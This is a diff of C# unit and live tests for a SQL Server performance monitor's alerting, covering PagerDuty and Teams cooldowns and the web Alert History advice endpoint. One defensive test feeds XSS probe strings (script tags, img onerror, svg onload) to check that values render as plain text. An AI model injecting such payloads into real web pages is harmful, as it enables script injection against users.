+    /// every key is dev's per-server key, so replica B's firing is throttled behind replica A's (one Teams
+    /// post). With PagerDuty routed for the alert, each replica holds its own window (two Teams posts).
+    /// </summary>
+    [Theory]
+    [InlineData("none", 1)]
+    [InlineData("other-metric-route", 1)]
+    [InlineData("routed", 2)]
+    public async Task TheDeliverer_ScopesTheReplicaCooldown_OnlyWhenPagerDutyIsRoutedForTheAlert(string pagerDuty, int teamsPosts)
+    {
+        using var teams = new CapturingWebhookEndpoint();
+        var capture = new CapturingPagerDuty();
+        var (deliverer, _) = pagerDuty switch
+        {
+            "none" => DelivererFor(autoResolve: true, capture, pagerDutyKey: "", teamsUrl: teams.Url),
+            "other-metric-route" => DelivererFor(
+                autoResolve: true, capture, pagerDutyKey: "", teamsUrl: teams.Url,
+                routes: new[] { new NotificationRoute(1, "High CPU", "", "", "", "rk-other", "", true) }),
+            _ => DelivererFor(autoResolve: true, capture, teamsUrl: teams.Url),
+        };
+
+        foreach (var replica in new[] { "REPLICA-A", "REPLICA-B" })
+        {
+            var outcome = new AlertOutcome(
+                "13", "PROD01", "AG Replica Disconnected", "Replica state change", "Online",
+                Context: AgAlertContexts.ForReplica("OrdersAG", replica), DetailText: null,
+                NumericCurrentValue: 0, NumericThresholdValue: 0, Muted: false,
+                Severity: AlertSeverityLevel.Critical);
+            await deliverer.DeliverAsync(outcome, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(teamsPosts, teams.Bodies.Count);
+    }
+
+    /// <summary>
+    /// #5469 restart case, Darling's pin: the pair-aware history seed (the other edge sent more recently, so
+    /// this edge's own row is not seeded) applies only when PagerDuty is routed for the alert, because only
+    /// then do the in-memory clears exist for it to stand in for. Down at t-3 and up at t-2 are already in the
+    /// history, then a NEW service starts (a restart) and the second outage arrives, auto-resolve on, Teams
+    /// the only chat channel. With PagerDuty not routed for the metric, nothing was ever cleared, so the
+    /// firing seeds from its own row and stays throttled (no Teams post, as on dev). With PagerDuty routed,
+    /// the recovery closed the first incident, so the second outage announces (one Teams post).
+    /// </summary>
+    [Theory]
+    [InlineData("none", 0)]
+    [InlineData("other-metric-route", 0)]
+    [InlineData("routed", 1)]
+    public async Task TheDeliverer_AfterARestart_SkipsTheSupersededSeed_OnlyWhenPagerDutyIsRoutedForTheAlert(string pagerDuty, int teamsPosts)
+    {
+        using var teams = new CapturingWebhookEndpoint();
+        var capture = new CapturingPagerDuty();
+        var now = DateTime.UtcNow;
+        var history = new SeededHistoryStore();
+        history.SentRow("Server Unreachable", "13", now.AddMinutes(-3));
+        history.SentRow("Server Restored", "13", now.AddMinutes(-2));
+
+        var (deliverer, _) = pagerDuty switch
+        {
+            "none" => DelivererFor(autoResolve: true, capture, pagerDutyKey: "", teamsUrl: teams.Url, history: history),
+            "other-metric-route" => DelivererFor(
+                autoResolve: true, capture, pagerDutyKey: "", teamsUrl: teams.Url, history: history,
+                routes: new[] { new NotificationRoute(1, "High CPU", "", "", "", "rk-other", "", true) }),
+            _ => DelivererFor(autoResolve: true, capture, teamsUrl: teams.Url, history: history),
+        };
+
+        var secondOutage = new AlertOutcome(
+            "13", "PROD01", "Server Unreachable", "Login timeout expired", "Online",
+            Context: null, DetailText: null, NumericCurrentValue: 0, NumericThresholdValue: 0,
+            Muted: false, Severity: AlertSeverityLevel.Critical);
+        await deliverer.DeliverAsync(secondOutage, TestContext.Current.CancellationToken);
+
+        Assert.Equal(teamsPosts, teams.Bodies.Count);
+    }
+
+    /// <summary>
+    /// The seeding history store for the restart pin above: the last WEBHOOK send time per (metric, server),
+    /// answered the way the real stores answer the cooldown's seed. Scoped by metric, so one edge's question
+    /// is never answered with the other edge's row. Everything else is the discarding store's no-op.
+    /// </summary>
+    private sealed class SeededHistoryStore : IAlertHistoryStore
+    {
+        private readonly List<(string Metric, string ServerId, DateTime AtUtc)> _rows = new();
+
+        public void SentRow(string metricName, string serverId, DateTime atUtc) => _rows.Add((metricName, serverId, atUtc));
+
+        public Task<DateTime?> GetLastWebhookSentUtcAsync(string serverId, string metricName, string? dedupKey = null)
+        {
+            DateTime? max = null;
+            foreach (var row in _rows)
+            {
+                if (row.Metric == metricName && row.ServerId == serverId && (max is null || row.AtUtc > max.Value))
+                    max = row.AtUtc;
+            }
+
+            return Task.FromResult(max);
+        }
+
+        public Task RecordAlertAsync(AlertHistoryRecord record) => Task.CompletedTask;
+        public Task<DateTime?> GetLastEmailSentUtcAsync(string serverId, string metricName, string? dedupKey = null) => Task.FromResult<DateTime?>(null);
+        public Task<DateTime?> GetLastAlertTimeAsync(string serverId, string metricName, string? dedupKey = null) => Task.FromResult<DateTime?>(null);
+        public Task<DateTime?> GetLastDeliveredPageUtcAsync(string serverId, string metricName) => Task.FromResult<DateTime?>(null);
+    }
+
+    private static (DarlingAlertDeliverer Deliverer, WebhookAlertService Webhooks) DelivererFor(
+        bool autoResolve, CapturingPagerDuty capture, string pagerDutyKey = "rk-test", string? teamsUrl = null,
+        IReadOnlyList<NotificationRoute>? routes = null, IAlertHistoryStore? history = null)
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.PagerDutyRoutingKey = pagerDutyKey;
+        config.Webhooks.PagerDutyAutoResolve = autoResolve;
+        if (teamsUrl is not null)
+        {
+            config.Webhooks.TeamsUrl = teamsUrl;
+        }
+
+        if (routes is not null)
+        {
+            config.NotificationRoutes = routes;
+        }
+
+        config.Smtp.Host = "";
+        config.Smtp.To = "";
+
+        var settings = new DarlingAlertSettings(config);
+        history ??= new DiscardingHistoryStore();
+        var webhooks = new WebhookAlertService(
+            settings, DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance, history);
+        webhooks.PostPagerDutyAsyncOverride = (endpoint, payload) =>
+        {
+            capture.Bodies.Add(payload);
+            return Task.FromResult<string?>(null);
+        };
+        return (new DarlingAlertDeliverer(settings, history, webhooks, NullLogger.Instance), webhooks);
+    }
+
+    /// <summary>
+    /// The payloads one test's PagerDuty sends captured, in send order. Plain list, no socket: the
+    /// service's test-only post override answers the send (see its own remarks) and hands the payload
+    /// here, so nothing leaves the process and the assertions read the exact JSON the wire would have
+    /// seen.
+    /// </summary>
+    private sealed class CapturingPagerDuty
+    {
+        public List<string> Bodies { get; } = new();
+    }
+
     /* ────── #3302 regression: a finding's Diagnosis facts, delivered once and stored in full ────── */
 
     /// <summary>
diff --git a/Darling/Darling.Tests/AlertEngineTests.cs b/Darling/Darling.Tests/AlertEngineTests.cs
index 779be4c3e9..e204486a82 100644
--- a/Darling/Darling.Tests/AlertEngineTests.cs
+++ b/Darling/Darling.Tests/AlertEngineTests.cs
@@ -33,7 +33,7 @@ public sealed class AlertEngineTests
 
     /* ---------------- fakes ---------------- */
 
-    private sealed class FakeSettings : IAlertEngineSettings
+    internal sealed class FakeSettings : IAlertEngineSettings
     {
         /* Lite's App.xaml.cs defaults for thresholds; per-alert enables default OFF here so each
            test switches on exactly the check it pins (a disabled check must not even fetch). */
@@ -99,7 +99,7 @@ that want the seeds pass LongRunningQueryExclusions.Defaults explicitly. */
         public CpuAlertMode CpuAlertMode { get; set; } = CpuAlertMode.TotalServer;
     }
 
-    private sealed class FakeReadAdapter : IAlertReadAdapter
+    internal sealed class FakeReadAdapter : IAlertReadAdapter
     {
         public List<BlockedProcessAlertRow> Blocking { get; } = new();
         public List<DeadlockAlertRow> Deadlocks { get; } = new();
@@ -272,7 +272,7 @@ public Task SaveAlertPersistenceAsync(string serverKey, string metricName, Alert
         }
     }
 
-    private sealed class FakeStateStore : IAlertStateStore
+    internal sealed class FakeStateStore : IAlertStateStore
     {
         public Dictionary<(string Key, string Metric), int> EdgeWatermarks { get; } = new();
         public Dictionary<string, DateTime> FailedJobWatermarks { get; } = new();
@@ -366,7 +366,7 @@ public Task ClearDatabaseStateAlertedAsync(string serverKey, string databaseName
         }
     }
 
-    private sealed class RecordingDeliverer : IAlertDeliverer
+    internal sealed class RecordingDeliverer : IAlertDeliverer
     {
         public List<AlertOutcome> Outcomes { get; } = new();
 
@@ -392,7 +392,7 @@ public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationTok
     }
 
     /// <summary>One engine + fakes + a controllable clock per test.</summary>
-    private sealed class Harness
+    internal sealed class Harness
     {
         public FakeSettings Settings { get; } = new();
         public FakeReadAdapter Adapter { get; } = new();
@@ -467,7 +467,7 @@ public static AlertServerSnapshot Snapshot(
         public static readonly DateTime SampleBase = new(2026, 7, 1, 0, 0, 0, DateTimeKind.Utc);
     }
 
-    private static BlockedProcessAlertRow BlockingRow(
+    internal static BlockedProcessAlertRow BlockingRow(
         int blockedSpid, string source = BlockedProcessAlertRow.XeReportSource, string database = "StackOverflow") => new()
     {
         EventTime = new DateTime(2026, 7, 1, 11, 55, 0),
diff --git a/Darling/Darling.Tests/AlertHistoryAdviceLiveTests.cs b/Darling/Darling.Tests/AlertHistoryAdviceLiveTests.cs
new file mode 100644
index 0000000000..0b587dc7cd
--- /dev/null
+++ b/Darling/Darling.Tests/AlertHistoryAdviceLiveTests.cs
@@ -0,0 +1,307 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5241: an alert's advice and fix script reach the web Alert History page. The stored context holds them
+/// (<c>AlertDetailItem.Body</c>, a code block for the fix script) but <c>detail_text</c> is the flattened
+/// headings and fields only, so the page had nothing to show. The web-only <c>get_alert_details</c> read returns one
+/// alert's items by the page's row identity; it is not an MCP tool, and <c>get_alert_history</c> is untouched. The
+/// typed Apply payload (<c>Remediation</c>) is never projected: the web is advise-only.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class AlertHistoryAdviceLiveTests
+{
+    private const int ServerId = -524101;
+    private const string ServerLabel = "advice-524101";
+    private const string AdviceMetric = "Analysis: plan_regression [524101aa]";
+    private const string EngineMetric = "High CPU";
+    private const string FixScript = "EXEC sys.sp_query_store_force_plan @query_id = 11, @plan_id = 22;";
+
+    private static string RequireLivePostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the alert advice live tests.");
+        return connectionString!;
+    }
+
+    private static NpgsqlDataSource OpenDataSource(string connectionString) =>
+        NpgsqlDataSource.Create(new NpgsqlConnectionStringBuilder(connectionString)
+        {
+            SearchPath = PgSchemaGenerator.SearchPath,
+        }.ConnectionString);
+
+    /// <summary>An analysis alert's context as the producer builds it: Diagnosis (fields), Advice (prose), the
+    /// fix script (a code block that also carries the typed Apply payload).</summary>
+    private static string AdviceContextJson()
+    {
+        var context = new AlertContext();
+        var diagnosis = new AlertDetailItem { Heading = "Diagnosis" };
+        diagnosis.Fields.Add(("Story", "PLAN_REGRESSION"));
+        diagnosis.Fields.Add(("Severity", "1.20"));
+        context.Details.Add(diagnosis);
+        context.Details.Add(new AlertDetailItem
+        {
+            Heading = "Plan regression",
+            Body = "Investigation: the plan regressed\n\nRemediation: force the better plan",
+        });
+        context.Details.Add(new AlertDetailItem
+        {
+            Heading = "Remediation T-SQL",
+            Body = FixScript,
+            IsCodeBlock = true,
+            Remediation = new RemediationAction("PLAN_REGRESSION", "force",
+                new[] { new ForcePlanTarget("SalesDb", 11, 22) }),
+        });
+        return AlertContextSerializer.Serialize(context);
+    }
+
+    /// <summary>An engine alert's context: headings and fields only, so its <c>detail_text</c> already says all of it.</summary>
+    private static string EngineContextJson()
+    {
+        var context = new AlertContext();
+        var item = new AlertDetailItem { Heading = "Blocking chain" };
+        item.Fields.Add(("Lead blocker", "52"));
+        context.Details.Add(item);
+        return AlertContextSerializer.Serialize(context);
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, DateTime now, CancellationToken ct)
+    {
+        await DeleteAsync(connection, ct);
+        await InsertAlertAsync(connection, ct, now.AddMinutes(-2), AdviceMetric, "Diagnosis\n  Story: PLAN_REGRESSION\n  Severity: 1.20", AdviceContextJson());
+        await InsertAlertAsync(connection, ct, now.AddMinutes(-1), EngineMetric, "Blocking chain\n  Lead blocker: 52", EngineContextJson());
+    }
+
+    private static Task InsertAlertAsync(NpgsqlConnection connection, CancellationToken ct, DateTime alertTime, string metric, string detailText, string contextJson) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO config_alert_log
+    (alert_time, server_id, server_name, metric_name, current_value, threshold_value,
+     alert_sent, notification_type, send_error, muted, dismissed, detail_text, context_json)
+VALUES ($1, $2, $3, $4, 1, 1, FALSE, 'none', NULL, FALSE, FALSE, $5, $6)",
+            DarlingMcpTestData.Naive(alertTime), ServerId, ServerLabel, metric, detailText, contextJson);
+
+    private static Task DeleteAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_alert_log WHERE server_id = $1", ServerId);
+
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string read, string query)
+    {
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = new QueryString(query);
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    private static string DetailsQuery(string metric, DateTime alertTime, int serverId = ServerId) =>
+        "?server_id=" + serverId + "&metric_name=" + Uri.EscapeDataString(metric)
+        + "&alert_time=" + Uri.EscapeDataString(alertTime.ToString("o"));
+
+    [Fact]
+    public async Task GetAlertDetails_ReturnsTheAdviceAndTheFixScriptForTheKeyedRow_AndNeverTheApplyPayload()
+    {
+        var cs = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await SeedAsync(connection, now, ct);
+            await using var postgres = OpenDataSource(cs);
+
+            var json = await WebReadAsync(postgres, "get_alert_details", DetailsQuery(AdviceMetric, now.AddMinutes(-2)));
+            using var doc = JsonDocument.Parse(json);
+            Assert.Equal(new[] { "details" }, doc.RootElement.EnumerateObject().Select(p => p.Name).ToArray());
+            var details = doc.RootElement.GetProperty("details").EnumerateArray().ToList();
+            Assert.Equal(new[] { "Diagnosis", "Plan regression", "Remediation T-SQL" },
+                details.Select(d => d.GetProperty("heading").GetString()).ToArray());
+
+            var diagnosis = details[0];
+            Assert.Equal("Story", diagnosis.GetProperty("fields")[0].GetProperty("label").GetString());
+            Assert.Equal("PLAN_REGRESSION", diagnosis.GetProperty("fields")[0].GetProperty("value").GetString());
+            Assert.Equal(JsonValueKind.Null, diagnosis.GetProperty("body").ValueKind);
+            Assert.False(diagnosis.GetProperty("is_code_block").GetBoolean());
+
+            Assert.Contains("force the better plan", details[1].GetProperty("body").GetString(), StringComparison.Ordinal);
+            Assert.False(details[1].GetProperty("is_code_block").GetBoolean());
+
+            Assert.Equal(FixScript, details[2].GetProperty("body").GetString());
+            Assert.True(details[2].GetProperty("is_code_block").GetBoolean());
+
+            /* The Apply payload is advise-only on the web: not under any name, anywhere in the answer. */
+            Assert.DoesNotContain("emediation\"", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("PLAN_REGRESSION\",\"Action", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("SalesDb", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("FactKey", json, StringComparison.Ordinal);
+            Assert.All(details, d => Assert.Equal(
+                new[] { "heading", "fields", "body", "is_code_block" },
+                d.EnumerateObject().Select(p => p.Name).ToArray()));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, DeleteAsync);
+        }
+    }
+
+    [Fact]
+    public async Task GetAlertDetails_AnswersEmptyDetails_ForAnEngineAlert_AnUnknownKey_AndAMalformedKey()
+    {
+        var cs = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await SeedAsync(connection, now, ct);
+            await using var postgres = OpenDataSource(cs);
+
+            const string empty = "{\"details\":[]}";
+            /* An engine alert's context holds no prose: its detail_text already says everything, so it gets none. */
+            Assert.Equal(empty, await WebReadAsync(postgres, "get_alert_details", DetailsQuery(EngineMetric, now.AddMinutes(-1))));
+            /* Unknown metric, unknown time, unknown server: no match is an empty answer, not an error. */
+            Assert.Equal(empty, await WebReadAsync(postgres, "get_alert_details", DetailsQuery("Analysis: nothing [00000000]", now.AddMinutes(-2))));
+            Assert.Equal(empty, await WebReadAsync(postgres, "get_alert_details", DetailsQuery(AdviceMetric, now.AddMinutes(-3))));
+            Assert.Equal(empty, await WebReadAsync(postgres, "get_alert_details", DetailsQuery(AdviceMetric, now.AddMinutes(-2), ServerId - 1)));
+            /* The stamp exactly as get_alert_history spells it (the store's naive UTC, seven fraction digits, no zone). */
+            var naive = DateTime.SpecifyKind(now.AddMinutes(-2), DateTimeKind.Unspecified);
+            Assert.Contains("force the better plan", await WebReadAsync(postgres, "get_alert_details", DetailsQuery(AdviceMetric, naive)), StringComparison.Ordinal);
+            /* A key that does not parse is the same empty answer. */
+            Assert.Equal(empty, await WebReadAsync(postgres, "get_alert_details", "?server_id=" + ServerId + "&metric_name=x&alert_time=not-a-time"));
+            Assert.Equal(empty, await WebReadAsync(postgres, "get_alert_details", "?server_id=abc&metric_name=x&alert_time=" + Uri.EscapeDataString(now.ToString("o"))));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, DeleteAsync);
+        }
+    }
+
+    [Fact]
+    public async Task GetAlertDetails_RefusesAMissingParameter()
+    {
+        var cs = RequireLivePostgres();
+        await using var postgres = OpenDataSource(cs);
+        foreach (var query in new[]
+        {
+            "?metric_name=x&alert_time=2026-01-01T00:00:00Z",
+            "?server_id=1&alert_time=2026-01-01T00:00:00Z",
+            "?server_id=1&metric_name=x",
+        })
+        {
+            var json = await WebReadAsync(postgres, "get_alert_details", query);
+            using var doc = JsonDocument.Parse(json);
+            Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+        }
+    }
+
+    [Fact]
+    public async Task GetAlertHistory_IsUnchanged_TheWebRowAndTheMcpToolAnswerTheSameBytes_AndCarryNoDetails()
+    {
+        var cs = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(connection, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow), ct);
+            await using var postgres = OpenDataSource(cs);
+
+            var tool = await DarlingMcpAlertTools.GetAlertHistory(postgres, null, 1, 50, cancellationToken: ct);
+            var web = await WebReadAsync(postgres, "get_alert_history", "?hours_back=1&limit=50");
+            /* The old flag is gone: sending it changes nothing. */
+            var withOldFlag = await WebReadAsync(postgres, "get_alert_history", "?hours_back=1&limit=50&include_details=true");
+
+            Assert.Equal(tool, web);
+            Assert.Equal(tool, withOldFlag);
+            Assert.DoesNotContain("\"details\"", tool, StringComparison.Ordinal);
+            Assert.DoesNotContain("force the better plan", tool, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs, bodySucceeded, DeleteAsync);
+        }
+    }
+
+    [Fact]
+    public void GetAlertDetails_IsWebOnly_NotAnMcpTool_AndTheHistoryReadHasNoDetailsFlag()
+    {
+        /* No [McpServerTool] anywhere names it, and its implementation carries no tool attribute, so tools/list never sees it. */
+        var toolNames = typeof(DarlingMcpAlertTools).Assembly.GetTypes()
+            .Where(t => t.GetCustomAttribute<McpServerToolTypeAttribute>() is not null)
+            .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance))
+            .Select(m => m.GetCustomAttribute<McpServerToolAttribute>()?.Name)
+            .Where(n => n is not null)
+            .ToHashSet(StringComparer.Ordinal);
+        Assert.DoesNotContain("get_alert_details", toolNames);
+        Assert.Contains("get_alert_details", DarlingWebEndpoints.WebOnlyReadNames);
+
+        var read = typeof(DarlingMcpAlertTools).GetMethod("GetAlertDetails", BindingFlags.NonPublic | BindingFlags.Static)!;
+        Assert.Null(read.GetCustomAttribute<McpServerToolAttribute>());
+
+        var history = typeof(DarlingMcpAlertTools).GetMethods(BindingFlags.Public | BindingFlags.Static)
+            .Single(m => m.GetCustomAttribute<McpServerToolAttribute>()?.Name == "get_alert_history");
+        Assert.DoesNotContain(history.GetParameters(), p => p.Name!.Contains("detail", StringComparison.OrdinalIgnoreCase) && p.Name != "detail_text");
+        Assert.DoesNotContain("include_details", history.GetCustomAttribute<DescriptionAttribute>()!.Description, StringComparison.Ordinal);
+        Assert.DoesNotContain(DarlingWebEndpoints.CatalogDescriptors["get_alert_history"].Params, p => p.Name == "include_details");
+        Assert.DoesNotContain("include_details", DarlingWebEndpoints.CatalogDescriptors["get_alert_history"].Description, StringComparison.Ordinal);
+
+        /* Same role as get_alert_history (the catalog carries no role: both are plain /api/read reads of the viewer role),
+           and its own descriptor, with the page's row identity as required parameters. */
+        var descriptor = DarlingWebEndpoints.CatalogDescriptors["get_alert_details"];
+        Assert.Equal(DarlingWebEndpoints.CatalogDescriptors["get_alert_history"].Category, descriptor.Category);
+        Assert.Equal(new[] { "server_id", "metric_name", "alert_time" }, descriptor.Params.Select(p => p.Name).ToArray());
+        Assert.All(descriptor.Params, p => Assert.True(p.Required));
+    }
+
+    [Fact]
+    public void TheProjection_NeverReadsTheRemediationPayload()
+    {
+        var source = CSharpSourceWalker.StripCommentsAndStrings(ReadRepoFile(
+            "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpAlertTools.cs"));
+        var start = source.IndexOf("internal static JsonArray? ProjectDetails(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf("[McpServerTool(Name = ", start, StringComparison.Ordinal);
+        var projection = source.Substring(start, end - start);
+        Assert.Contains(".Body", projection, StringComparison.Ordinal);
+        Assert.DoesNotContain("Remediation", projection, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/AlertHistoryAdviceTests.cs b/Darling/Darling.Tests/AlertHistoryAdviceTests.cs
new file mode 100644
index 0000000000..9df9951b8b
--- /dev/null
+++ b/Darling/Darling.Tests/AlertHistoryAdviceTests.cs
@@ -0,0 +1,149 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5241: an expanded alert on the web Alert History page shows the advice and the fix script, as the desktop's
+/// Alert Detail does. The shipped <c>alerts.js</c> runs under Node (<c>alert-history-advice-harness.mjs</c>) against
+/// a recording fetch: the list read asks for no advice; the first expand of an Analysis row makes one
+/// <c>get_alert_details</c> read (once per row, however often it is re-opened or re-rendered) and shows the advice as
+/// a paragraph and the fix script in a <c>&lt;pre&gt;</c> with a Copy button; any other row, and a failed or empty
+/// answer, show the row's <c>detail_text</c> as before; and every value reaches the DOM as text. Node is skipped when
+/// it is not installed.
+/// </summary>
+public sealed class AlertHistoryAdviceTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "alert-history-advice-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the Alert History advice harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the Alert History advice harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void TheListReadCarriesNoIncludeDetails_AndOpeningNothingFetchesNothing()
+    {
+        var r = Run("withDetails");
+        Assert.False(r.GetProperty("requested").TryGetProperty("include_details", out _));
+        Assert.Equal(0, r.GetProperty("callsBeforeOpen").GetInt32());
+    }
+
+    [Fact]
+    public void TheFirstExpandOfAnAnalysisRow_MakesExactlyOneKeyedRead_ShowsLoading_ThenTheAdviceAndTheFixScriptInAPreWithCopy()
+    {
+        var r = Run("withDetails");
+        var request = r.GetProperty("detailRequest");
+        Assert.Equal("1", request.GetProperty("server_id").GetString());
+        Assert.Equal("Analysis: plan_regression [524101aa]", request.GetProperty("metric_name").GetString());
+        Assert.Equal("2026-01-01T11:59:00.000Z", request.GetProperty("alert_time").GetString());
+        Assert.True(r.GetProperty("loadingWhileFetching").GetBoolean());
+
+        Assert.Equal(new[] { "Diagnosis", "Advice", "Remediation T-SQL" }, Strings(r.GetProperty("headings")));
+        Assert.Equal(new[] { "StoryPLAN_REGRESSION" }, Strings(r.GetProperty("fields")));
+
+        var paragraphs = Strings(r.GetProperty("paragraphs"));
+        Assert.Single(paragraphs);
+        Assert.Contains("force the better plan", paragraphs[0], StringComparison.Ordinal);
+
+        Assert.Equal(new[] { "EXEC sys.sp_query_store_force_plan 1, 2;" }, Strings(r.GetProperty("pres")));
+        Assert.Equal(new[] { "Copy" }, Strings(r.GetProperty("buttons")));
+
+        /* Copy puts the script, and only the script, on the clipboard, and says so. */
+        Assert.Equal(new[] { "EXEC sys.sp_query_store_force_plan 1, 2;" }, Strings(r.GetProperty("copied")));
+        Assert.Equal("Copied", r.GetProperty("buttonAfter").GetString());
+    }
+
+    [Fact]
+    public void ASecondExpand_AndAPollRerenderOfTheSameRow_MakeNoFurtherRead()
+    {
+        var r = Run("withDetails");
+        Assert.Equal(1, r.GetProperty("callsAfterReopenAndRerender").GetInt32());
+        Assert.Equal(new[] { "EXEC sys.sp_query_store_force_plan 1, 2;" }, Strings(r.GetProperty("rerenderPres")));
+    }
+
+    [Fact]
+    public void AnAnalysisRowWhoseAnswerIsEmpty_KeepsTheDetailTextRendering()
+    {
+        var r = Run("withoutDetails");
+        Assert.Equal(1, r.GetProperty("calls").GetInt32());
+        Assert.Equal(0, r.GetProperty("paragraphs").GetInt32());
+        Assert.Equal(0, r.GetProperty("pres").GetInt32());
+        Assert.Equal(0, r.GetProperty("buttons").GetInt32());
+        Assert.Equal(new[] { "StoryPLAN_REGRESSION", "Severity1.20" }, Strings(r.GetProperty("fields")));
+        Assert.Equal(new[] { "Diagnosis" }, Strings(r.GetProperty("headings")));
+    }
+
+    [Fact]
+    public void ANonAnalysisRow_MakesNoRead_AndKeepsTheDetailTextRendering()
+    {
+        var r = Run("engineAlert");
+        Assert.Equal(0, r.GetProperty("calls").GetInt32());
+        Assert.Equal(0, r.GetProperty("pres").GetInt32());
+        Assert.Equal(new[] { "Storyx", "Severity1.20" }, Strings(r.GetProperty("fields")));
+        Assert.Equal(new[] { "Diagnosis" }, Strings(r.GetProperty("headings")));
+    }
+
+    [Fact]
+    public void AFailedRead_FallsBackToTheDetailText()
+    {
+        var r = Run("failedFetch");
+        Assert.Equal(1, r.GetProperty("calls").GetInt32());
+        Assert.Equal(0, r.GetProperty("pres").GetInt32());
+        Assert.Equal(0, r.GetProperty("buttons").GetInt32());
+        Assert.Equal(new[] { "StoryPLAN_REGRESSION", "Severity1.20" }, Strings(r.GetProperty("fields")));
+        Assert.Equal(new[] { "Diagnosis" }, Strings(r.GetProperty("headings")));
+    }
+
+    [Fact]
+    public void EveryValueReachesTheDomAsText()
+    {
+        var r = Run("hostile");
+        Assert.Equal(new[] { "<script>alert(1)</script>" }, Strings(r.GetProperty("pre")));
+        Assert.Equal(new[] { "<img src=x onerror=alert(1)>", "Fix" }, Strings(r.GetProperty("headings")));
+        Assert.Equal(new[] { "<b>label</b><script>alert(2)</script>" }, Strings(r.GetProperty("fields")));
+        Assert.Equal(new[] { "<svg onload=alert(3)> prose" }, Strings(r.GetProperty("paragraphs")));
+        Assert.Equal(0, r.GetProperty("imgs").GetInt32());
+    }
+}
